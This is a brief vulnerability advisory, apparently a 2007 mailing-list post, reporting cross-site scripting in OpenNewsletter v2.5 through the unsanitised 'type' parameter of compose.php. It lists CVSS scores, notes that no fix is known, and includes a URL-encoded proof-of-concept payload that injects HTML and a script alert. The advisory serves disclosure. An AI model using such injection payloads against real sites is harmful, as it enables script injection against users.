OpenNewsletter v2.5 Multipe XSS Attacks

Credit: Manu
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Software: OpenNewsletter Homepage: Affected version: v2.5 and below Overview: OpenNewsletter si a free, simple, and beautiful open source newsletter solution aimed at small-medium scale. Attack: A non-existant sanitization when parsing the PHP value 'type' on 'compose.php', leads to some XSS attacks. PoC:'%3C h1%3EXSS!%3C/h1%3E';%3CSCR IPT%3Ealert(String.fromCharCode(88,%2083,%2083,%2032,%2058,%2040))//\';% 3C/script%3E Solution: not aware of at 12/6/2007. Credits: Manu (manuuu (at) darkprotocols (dot) net [email concealed]) ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program.

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